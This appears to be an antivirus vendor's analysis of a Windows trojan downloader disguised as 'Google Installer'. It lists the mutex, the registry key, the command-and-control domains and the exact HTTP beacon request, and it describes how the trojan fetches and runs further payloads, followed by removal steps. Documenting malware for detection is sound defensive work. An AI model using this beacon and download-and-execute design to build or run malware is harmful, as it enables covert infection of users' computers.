Trojan-Downloader.Win32.Agent.dlyf

Technical Details
Payload
Removal instructions

Technical Details

This Trojan downloads other malicious programs from the Internet and launches them for execution without the user's knowledge. It is a Windows dynamic library (PE EXE file). It is 53 248 bytes in size. It is written in C++.

Payload

The Trojan is distributed as a set of free programs from Google called "Google Installer".

To ensure that its process is unique within the system, the Trojan creates a unique identifier:

s9a8mzjXWUUPFN6i

The Trojan also creates the following registry key:

[HKCU\Software\Google\Google Updater]
"GUID" = "<rnd>"
"value" = "4.023"

where <rnd> is a randomly generated unique identifier, for example "b7acd35b-4587-4f37-8b5f-925f03667e9d".

Every 5 seconds the Trojan sends an HTTP request to one of the malicious user's servers:

http://server-<rnd>.apartmsk.ru
http://server-<rnd>.ruporno.tv 

The request looks like this:

GET /stat?uptime=100&downlink=1111&uplink=1111&id="<rnd2>
"&statpass=bpass&version=5&guid=   <rnd3>&comment=4.023 HTTP/1.0

<rnd2> is a random sequence of digits in hexadecimal notation, for example "002F88D2"

<rnd3> consists of the values of the "GUID" parameter of the above-mentioned system registry key.

At the time of writing, the servers were inactive.

In response, a link is received from the server for subsequently downloading a file.

The downloaded file is saved in the current user's Windows temporary directory under a randomly generated name, after which it is launched for execution.

Removal instructions

If your computer does not have an antivirus, and is infected by this malicious program, follow the instructions below to delete it:

1. Use Task Manager to terminate the Trojan process.
2. Delete the following system registry key:

   [HKCU\Software\Google\Google Updater]
   "GUID" = "<rnd>"
   "value" = "4.023"
   

3. Delete the original Trojan file (its location will depend on how the program originally penetrated the infected computer).
4. Delete the files in the Temporary Internet Files folder:

   %Temporary Internet Files%

5. Perform a full scan of the computer using Kaspersky Anti-Virus with up-to-date antivirus databases (download a trial version).